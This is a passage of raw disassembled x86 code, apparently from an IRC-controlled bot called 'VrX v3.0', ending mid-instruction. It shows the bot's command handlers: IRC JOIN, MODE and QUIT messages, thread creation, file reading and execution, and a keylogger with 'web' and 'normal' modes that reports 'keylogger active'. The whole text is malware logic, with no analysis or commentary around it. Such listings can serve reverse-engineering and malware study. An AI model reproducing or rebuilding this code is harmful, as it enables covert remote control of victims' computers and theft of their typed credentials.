pop ecx test eax, eax pop ecx jz loc_4084F0 lea eax, [ebp+var_4BF8] push eax push 104h nop call near ptr 26B0000h push 0FFh lea eax, [ebp+var_25D4] push edi push eax call sub_41BFD0 lea eax, [ebp+var_17D4] push eax call sub_40AB77 add esp, 10h push eax lea eax, [ebp+var_4BF8] push eax lea eax, [ebp+var_24D4] push offset aSS_exe ; "%s%s.exe" push eax call sub_41C266 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23D0], 1 mov [ebp+var_23CC], ebx jz short loc_40840E push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_23C4], eax jmp short loc_408414 ; --------------------------------------------------------------------------- loc_40840E: ; CODE XREF: sub_401ACD+692Bj mov [ebp+var_23C4], ebx loc_408414: ; CODE XREF: sub_401ACD+693Fj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40842B push esi call sub_41C159 pop ecx mov [ebp+var_23C8], eax jmp short loc_408431 ; --------------------------------------------------------------------------- loc_40842B: ; CODE XREF: sub_401ACD+694Dj mov [ebp+var_23C8], ebx loc_408431: ; CODE XREF: sub_401ACD+695Cj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23C0], eax lea eax, [ebp+var_2654] mov [ebp+var_2658], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B8], eax mov eax, [ebp+var_8] mov [ebp+var_23BC], eax push edi lea eax, [ebp+var_2C4] push offset dword_42A4C4 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B3BA add esp, 18h mov [ebp+var_23D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2658] push ebx push eax push offset loc_4167A0 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_23D4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4084DF loc_4084C9: ; CODE XREF: sub_401ACD+6A10j cmp [ebp+var_23B4], ebx jnz loc_406BFE push 32h nop call near ptr 2680EF8h jmp short loc_4084C9 ; --------------------------------------------------------------------------- loc_4084DF: ; CODE XREF: sub_401ACD+69FAj nop call near ptr 269086Bh push eax push offset dword_42A488 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_4084F0: ; CODE XREF: sub_401ACD+68BDj push offset dword_42A440 loc_4084F5: ; CODE XREF: sub_401ACD+2E30j ; sub_401ACD+447Dj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_406BFE ; --------------------------------------------------------------------------- loc_408508: ; CODE XREF: sub_401ACD+4975j ; sub_401ACD+498Cj push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 push edi call sub_41C159 add esp, 28h test eax, eax jle short loc_408591 push edi call sub_41C159 imul eax, 3E8h pop ecx push eax call near ptr 2680EF8h nop loc_408591: ; CODE XREF: sub_401ACD+6AAEj push offset dword_42A41C call sub_415D38 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4085A5: ; CODE XREF: sub_401ACD+4947j ; sub_401ACD+495Ej push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_41CA50 add esp, 10h test eax, eax push esi jz short loc_408664 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset unk_42A404 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h test eax, eax jle loc_409644 push edi call sub_41C159 add eax, [ebp+arg_24] pop ecx jmp loc_401F78 ; --------------------------------------------------------------------------- loc_408664: ; CODE XREF: sub_401ACD+6B1Dj lea eax, [ebp+var_2C4] push offset unk_42A3D0 push eax call sub_41C266 add esp, 0Ch loc_408678: ; CODE XREF: sub_401ACD+74E3j cmp [ebp+var_8], ebx jnz short loc_408699 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_408699: ; CODE XREF: sub_401ACD+6BAEj ; sub_401ACD+71C7j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_409643 ; --------------------------------------------------------------------------- loc_4086AA: ; CODE XREF: sub_401ACD+4919j ; sub_401ACD+4930j push 7Fh lea eax, [ebp+var_2218] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2198] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2118] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2094], eax mov eax, [ebp+var_8] mov [ebp+var_221C], esi push [ebp+arg_18] mov [ebp+var_2090], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A39C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2098], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_221C] push ebx push eax push offset byte_414F57 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_2098] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40876E loc_408758: ; CODE XREF: sub_401ACD+6C9Fj cmp [ebp+var_208C], ebx jnz loc_40885A push 32h nop call near ptr 2680EF8h jmp short loc_408758 ; --------------------------------------------------------------------------- loc_40876E: ; CODE XREF: sub_401ACD+6C89j nop call near ptr 269086Bh push eax push offset unk_42A360 jmp loc_40884B ; --------------------------------------------------------------------------- loc_40877F: ; CODE XREF: sub_401ACD+48EBj ; sub_401ACD+4902j push 7Fh lea eax, [ebp+var_23AC] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_232C] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_22AC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2228], eax mov eax, [ebp+var_8] mov [ebp+var_23B0], esi push [ebp+arg_18] mov [ebp+var_2224], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A334 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_222C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23B0] push ebx push eax push offset byte_414703 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_222C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40883F loc_40882D: ; CODE XREF: sub_401ACD+6D70j cmp [ebp+var_2220], ebx jnz short loc_40885A push 32h call near ptr 2680EF8h nop jmp short loc_40882D ; --------------------------------------------------------------------------- loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej nop call near ptr 269086Bh push eax push offset dword_42A2F8 loc_40884B: ; CODE XREF: sub_401ACD+6CADj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_40885A: ; CODE XREF: sub_401ACD+6C91j ; sub_401ACD+6D66j cmp [ebp+var_8], ebx jnz loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_403FB6 ; --------------------------------------------------------------------------- loc_40887A: ; CODE XREF: sub_401ACD+48BDj ; sub_401ACD+48D4j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42A2F0 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h loc_408897: ; CODE XREF: sub_401ACD+6E31j test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 loc_4088B1: ; CODE XREF: sub_401ACD+789Bj lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_4088DA: ; CODE XREF: sub_401ACD+488Fj ; sub_401ACD+48A6j push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+arg_18] push offset dword_42A2DC push eax call sub_41C266 push edi call sub_41C159 add esp, 14h jmp short loc_408897 ; --------------------------------------------------------------------------- loc_408900: ; CODE XREF: sub_401ACD+4861j ; sub_401ACD+4878j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_42A2C0 loc_408967: ; CODE XREF: sub_401ACD+6F24j ; sub_401ACD+6F92j ... call sub_415DAC jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_408971: ; CODE XREF: sub_401ACD+4833j ; sub_401ACD+484Aj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4089A2 push esi lea eax, [ebp+var_2C4] push offset dword_42A2B8 push eax call sub_41C266 add esp, 0Ch loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A29C jmp loc_408967 ; --------------------------------------------------------------------------- loc_4089F6: ; CODE XREF: sub_401ACD+4805j ; sub_401ACD+481Cj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push esi push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A280 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408A64: ; CODE XREF: sub_401ACD+47D7j ; sub_401ACD+47EEj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_42A258 jmp loc_40963D ; --------------------------------------------------------------------------- loc_408A9E: ; CODE XREF: sub_401ACD+47A9j ; sub_401ACD+47C0j push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 push [ebp+arg_18] push offset dword_42A24C push [ebp+arg_4] call sub_409823 push edi call sub_41C159 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2680EF8h push [ebp+esi+var_84] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 push offset dword_42A238 call sub_415D38 jmp loc_4034BF ; --------------------------------------------------------------------------- loc_408B04: ; CODE XREF: sub_401ACD+477Bj ; sub_401ACD+4792j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push esi lea eax, [ebp+var_2C4] push offset dword_42A968 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_4] call sub_409869 add esp, 20h push esi push edi push offset unk_42A21C jmp loc_408967 ; --------------------------------------------------------------------------- loc_408B6D: ; CODE XREF: sub_401ACD+474Dj ; sub_401ACD+4764j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_409869 add esp, 14h push esi push edi push offset unk_42A200 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408BBE: ; CODE XREF: sub_401ACD+471Fj ; sub_401ACD+4736j cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 push eax push edi call sub_415C40 pop ecx pop ecx push edi push offset unk_42A1E4 jmp loc_40723F ; --------------------------------------------------------------------------- loc_408BF0: ; CODE XREF: sub_401ACD+46F1j ; sub_401ACD+4708j push [ebp+arg_18] push edi push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418A2E loc_408C05: ; CODE XREF: sub_401ACD+25ECj add esp, 14h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408C0D: ; CODE XREF: sub_401ACD+46B1j ; sub_401ACD+46C8j push edi push [ebp+arg_1C] call sub_41C2E0 pop ecx test eax, eax pop ecx jz loc_409644 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408CB1 push esi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408C99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push edi push offset unk_42A1C0 push eax call sub_41C266 add esp, 10h inc [ebp+arg_24] jmp loc_408699 ; --------------------------------------------------------------------------- loc_408C99: ; CODE XREF: sub_401ACD+7171j lea eax, [ebp+var_2C4] push offset unk_42A190 push eax call sub_41C266 pop ecx pop ecx jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CB1: ; CODE XREF: sub_401ACD+715Cj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h lea eax, [ebp+var_2C4] push edi push offset unk_42A178 push 200h push eax call sub_41C360 add esp, 10h jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CFB: ; CODE XREF: sub_401ACD+4434j ; sub_401ACD+444Bj push edi push 23h push offset aKeylog_0 ; "Keylog" push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." loc_408D08: ; CODE XREF: sub_401ACD+103Cj ; sub_401ACD+108Fj ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B648 add esp, 20h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408D24: ; CODE XREF: sub_401ACD+4406j ; sub_401ACD+441Dj push 23h call sub_40B602 test eax, eax pop ecx jle short loc_408D3A push offset aKeylogerAlread ; "Keyloger Already running." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408D3A: ; CODE XREF: sub_401ACD+7261j mov eax, [ebp+arg_4] push edi mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] push offset aWeb ; "web" mov [ebp+var_A08], eax mov [ebp+var_A10], ebx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DB9 mov esi, [ebp+esi+var_88] mov [ebp+var_A10], 1 cmp esi, ebx jnz short loc_408D9D mov esi, offset aF_0 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408D9D mov esi, [ebp+var_88] loc_408D9D: ; CODE XREF: sub_401ACD+72B2j ; sub_401ACD+72C8j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." jmp short loc_408E0F ; --------------------------------------------------------------------------- loc_408DB9: ; CODE XREF: sub_401ACD+729Dj push edi push offset aNormal_0 ; "normal" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_408E97 mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_408DF5 mov esi, offset aF_0 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DF5 mov esi, [ebp+var_88] loc_408DF5: ; CODE XREF: sub_401ACD+730Aj ; sub_401ACD+7320j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aNormalKeyLogge ; "Normal key logger active." loc_408E0F: ; CODE XREF: sub_401ACD+72EAj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push ebx push 23h push eax call sub_40B3BA add esp, 0Ch mov [ebp+var_A94], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset byte_4126A7 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_A94] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408E7A loc_408E64: ; CODE XREF: sub_401ACD+73ABj cmp [ebp+var_A04], ebx jnz loc_4081AD push 32h call near ptr 2680EF8h nop jmp short loc_408E64 ; --------------------------------------------------------------------------- loc_408E7A: ; CODE XREF: sub_401ACD+7395j nop call near ptr 269086Bh push eax push offset aFailedToStartL ; "Failed to start logging thread, error: "... loc_408E86: ; CODE XREF: sub_401ACD+20F8j ; sub_401ACD+2E94j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_408E97: ; CODE XREF: sub_401ACD+72FBj push offset aUnknowModeType ; "Unknow mode type." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408EA1: ; CODE XREF: sub_401ACD+4065j ; sub_401ACD+407Cj push offset aR ; "r" push edi call sub_41BEA2 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408F0D mov ebx, 200h push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 0Ch loc_408ECA: ; CODE XREF: sub_401ACD+742Cj test eax, eax jz short loc_408EFB push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 20h jmp short loc_408ECA ; --------------------------------------------------------------------------- loc_408EFB: ; CODE XREF: sub_401ACD+73FFj push esi call sub_41BA3B pop ecx push edi push offset unk_42A0A4 jmp loc_409091 ; --------------------------------------------------------------------------- loc_408F0D: ; CODE XREF: sub_401ACD+73E5j push edi push offset unk_42A084 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408F18: ; CODE XREF: sub_401ACD+4037j ; sub_401ACD+404Ej cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push offset asc_42A080 ; "\n" push esi call sub_41C8A0 push esi call sub_419F9D add esp, 0Ch test eax, eax jnz short loc_408F55 push offset unk_42A054 jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F55: ; CODE XREF: sub_401ACD+747Fj push esi lea eax, [ebp+var_2C4] push offset dword_42A03C push eax call sub_41C266 add esp, 0Ch jmp loc_408699 ; --------------------------------------------------------------------------- loc_408F6F: ; CODE XREF: sub_401ACD+4009j ; sub_401ACD+4020j cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_409644 push eax call sub_41875E test eax, eax pop ecx jnz short loc_408F9D push offset unk_42A01C jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F9D: ; CODE XREF: sub_401ACD+74C7j push offset dword_42A000 loc_408FA2: ; CODE XREF: sub_401ACD+7486j ; sub_401ACD+74CEj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_408678 ; --------------------------------------------------------------------------- loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj ; sub_401ACD+3FF2j push 7Fh lea eax, [ebp+var_2084] push edi push eax call sub_41BFD0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_408FE4 push 7Fh lea eax, [ebp+var_2004] push esi push eax call sub_41BFD0 add esp, 0Ch loc_408FE4: ; CODE XREF: sub_401ACD+7503j push 7Fh lea eax, [ebp+var_1F84] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2088], eax mov eax, [ebp+var_8] mov [ebp+var_1F00], eax mov eax, [ebp+var_4] mov [ebp+var_1EFC], eax push edi lea eax, [ebp+var_2C4] push offset dword_429FE8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B3BA add esp, 18h mov [ebp+var_1F04], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2088] push ebx push eax push offset sub_41B302 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_1F04] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_409085 loc_40906F: ; CODE XREF: sub_401ACD+75B6j cmp [ebp+var_1EF8], ebx jnz loc_406C1F push 32h nop call near ptr 2680EF8h jmp short loc_40906F ; --------------------------------------------------------------------------- loc_409085: ; CODE XREF: sub_401ACD+75A0j nop call near ptr 269086Bh push eax push offset unk_429FA8 loc_409091: ; CODE XREF: sub_401ACD+298Bj ; sub_401ACD+743Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_406C1F ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+3FADj ; sub_401ACD+3FC4j push ebx push [ebp+var_88] push [ebp+arg_4] push edi call sub_41036B add esp, 10h push edi push offset dword_429F90 jmp loc_40963D ; --------------------------------------------------------------------------- loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj ; sub_401ACD+3F96j push 14h lea eax, [ebp+var_1D4C] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1D38] push edi push offset aS_1 ; "%s" push eax call sub_41C266 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D54], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C34] push 80h push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BAC], eax mov eax, [ebp+var_8] mov [ebp+var_1BA8], eax lea eax, [ebp+var_1C34] push eax lea eax, [ebp+var_1D38] push eax lea eax, [ebp+var_2C4] push offset unk_429F6C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_1BB0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D54] push ebx push eax push offset loc_4161C1 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_1BB0] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40918A: ; CODE XREF: sub_401ACD+76D1j cmp [ebp+var_1BA4], ebx jnz loc_4082DE push 32h nop call near ptr 2680EF8h jmp short loc_40918A ; --------------------------------------------------------------------------- loc_4091A0: ; CODE XREF: sub_401ACD+3F51j ; sub_401ACD+3F68j push edi nop call near ptr 26901EBh test eax, eax jz short loc_4091C7 push edi push offset dword_429F50 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_40929A ; --------------------------------------------------------------------------- loc_4091C7: ; CODE XREF: sub_401ACD+76DCj push offset dword_42A5A8 call sub_418699 pop ecx push eax jmp loc_403EED ; --------------------------------------------------------------------------- loc_4091D8: ; CODE XREF: sub_401ACD+3F23j ; sub_401ACD+3F3Aj push edi call sub_41C159 push eax call sub_419F16 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_4091F5 push offset unk_429F2C jmp short loc_4091FA ; --------------------------------------------------------------------------- loc_4091F5: ; CODE XREF: sub_401ACD+771Fj push offset unk_429EFC loc_4091FA: ; CODE XREF: sub_401ACD+7726j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406C22 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_406C22 ; --------------------------------------------------------------------------- loc_409233: ; CODE XREF: sub_401ACD+3EF5j ; sub_401ACD+3F0Cj push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_419C09 add esp, 18h cmp eax, 1 push edi jnz short loc_409255 push offset unk_429EDC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409255: ; CODE XREF: sub_401ACD+777Cj push offset unk_429EAC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40925F: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDEj push edi call dword_4CBA14 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_4092A2 push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB98C cmp eax, ebx jz short loc_4092BD push dword ptr [eax] loc_409288: ; CODE XREF: sub_401ACD+77EEj push edi lea eax, [ebp+var_2C4] push offset unk_429E8C push eax call sub_41C266 loc_40929A: ; CODE XREF: sub_401ACD+76F5j add esp, 10h jmp loc_406BFE ; --------------------------------------------------------------------------- loc_4092A2: ; CODE XREF: sub_401ACD+77A2j push edi call dword_4CBA58 cmp eax, ebx jz short loc_4092BD mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CBA60 push eax jmp short loc_409288 ; --------------------------------------------------------------------------- loc_4092BD: ; CODE XREF: sub_401ACD+77B7j ; sub_401ACD+77DEj push offset unk_429E64 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_4092C7: ; CODE XREF: sub_401ACD+3E99j ; sub_401ACD+3EB0j push 7Fh push edi push [ebp+arg_14] call sub_41BFD0 add esp, 0Ch push edi push offset unk_429E40 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj ; sub_401ACD+3E82j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi jz short loc_409300 push offset unk_429E20 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409300: ; CODE XREF: sub_401ACD+7827j push offset unk_429DFC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj ; sub_401ACD+3E54j mov al, [edi] mov byte_429094, al movsx eax, byte ptr [edi] push eax push offset unk_429DD8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj ; sub_401ACD+3E26j push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 add esp, 0Ch jmp loc_4088B1 ; --------------------------------------------------------------------------- loc_40936D: ; CODE XREF: sub_401ACD+3DE1j ; sub_401ACD+3DF8j push edi call sub_41C159 test eax, eax pop ecx jle loc_401F75 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_401F75 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 pop ecx pop ecx push 1F4h nop call near ptr 2680EF8h push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call dword_4CBA6C push [ebp+var_10] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E924[eax] nop call near ptr 26A0846h push edi call sub_41C159 imul eax, 234h push edi mov dword_43E924[eax], ebx call sub_41C159 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E710[eax], bl jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409418: ; CODE XREF: sub_401ACD+3DB3j ; sub_401ACD+3DCAj push edi push offset aAll ; "all" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_409447 call sub_40B583 cmp eax, ebx jle short loc_40943D push eax push offset unk_429DAC jmp loc_40723F ; --------------------------------------------------------------------------- loc_40943D: ; CODE XREF: sub_401ACD+7963j push offset unk_429D84 jmp loc_403F8F ; --------------------------------------------------------------------------- loc_409447: ; CODE XREF: sub_401ACD+795Aj mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401F75 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_409463: ; CODE XREF: sub_401ACD+7A07j mov eax, 